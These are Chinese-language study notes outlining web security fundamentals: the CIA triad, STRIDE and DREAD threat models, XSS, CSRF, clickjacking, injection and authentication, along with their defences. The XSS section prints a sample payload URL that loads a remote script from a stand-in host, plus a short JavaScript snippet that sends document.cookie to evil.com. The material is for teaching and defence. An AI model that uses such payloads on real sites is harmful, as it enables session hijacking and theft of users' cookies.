基础
安全三要素CIA
机密性Confidentiality 保护数据不能泄露
完整性Integrity 保护数据内容是完整的,没有被篡改的
可用性Avaliability 保证资源'随需可得'
实施安全评估
评估过程 资产等级划分-》威胁分析-》风险分析-》确认解决方案
威胁分析:
把可能照成危害的来源称为威胁,威胁分析就是把所有威胁找出来,比较全面的方法就是使用威胁建模
STRIDE模型
- 1.伪装身份(Spoofing identity),对应安全认证(鉴权)如中间人攻击,特洛伊木马
- 2.篡改数据(Tampering with data),对应数据完整性如数据包注入攻击,篡改或损坏文件数据
- 3.抵赖(Repudiation),对应不可抵赖性不被信任的用户在非法操作时无法被跟踪
- 4.信息泄露(Information disclosure),对应机密性使信息暴露在不应该看到它的人面前
- 5.拒绝服务(Denial of service),对应可用性指使系统暂时不可用或无法使用
- 6.提升权限(Elevation of privilege),对应授权
使没有特权的用户获得了特权访问权,从而有足够的权限来损害和破坏整个系统
风险分析
风险=可能性*损失大小
科学衡量风险 DREAD模型
- 潜在损失(Damage Potential) 如果缺陷被利用,损失有多大
- 重现性(Reproducibility) 重复产生攻击的难度有多大
- 可利用性(Exploitability) 发起攻击的难度有多大
- 受影响的用户(Affected users) 用粗略的百分数表示,多少用户受到影响
- 可发现性(Discoverability) 缺陷容易发现吗
安全方案技巧
- 尽量使用白名单
- 最小权限原则
- 纵深防御原则
- 数据与代码分离原则
- 不可预测性原则
浏览器安全
同源策略
沙箱
恶意地址拦截
跨站脚本攻击XSS
通常指黑客通过HTML注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器
类型1 反射性XSS 非持久性XSS
只是简单把用户输入数据反射给浏览器
类型2 存储型XSS
把用户输入的数据存储在服务器端,比如把带有恶意脚本的博客保存在服务器给用户浏览
类型3 DOM Based XSS
通过修改页面DOM节点形成的XSS
XSS Payload
XSS攻击成功后,攻击者对用户浏览的页面植入的恶意脚本被称作XSS Payload
攻击者先通过链接加载一个远程脚本 http://www.a.com/test.html?abc="><script src=http://eval.com/evil.js\></script>
在脚本中可以窃取Cookie
var img = document.createElement("img");
img.src="http://evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
在服务器中就会收到这个请求
XSS Payload还可以构造GET POST请求
一个XSS Demo,提供了多道XSS的攻击题目,
访问地址:https://xss.haozi.me
XSS防御
1.httpONLY
禁止页面的JavaScript访问带有HttpOnly属性的Cookie
2.输入检查
格式检查 特殊字符检查
3.输出检查
安全的编码函数
4.数据与代码分离
5.正确处理富文本
跨站点请求伪造CSRF
浏览器的Cookie策略
Session Cookie 临时Cookie
本地Cookie
P3P
Get Post也可以进行CSRF攻击
构造Post请求方式 在页面中构造出一个form表单,然后使用JavaScript自动提交表单
Flash CSRF
CSRF Worm
CSRF防御
1.验证码
2.Referer Check
3.Anti CSRF Token
点击劫持 ClickJacking
防御:frame busing
X-Frame-Option
HTML5安全
服务器安全
注入攻击
1.盲注
2.Timing Attack
XML注入
代码注入
CRLF注入
文件上传漏洞
认证与会话管理
密码
多因素认证
Session与认证 SessionFixation攻击 Session保持攻击
单点登录SSO
访问控制
垂直权限管理
水平权限管理
OAuth
DDOS
应用层DDOS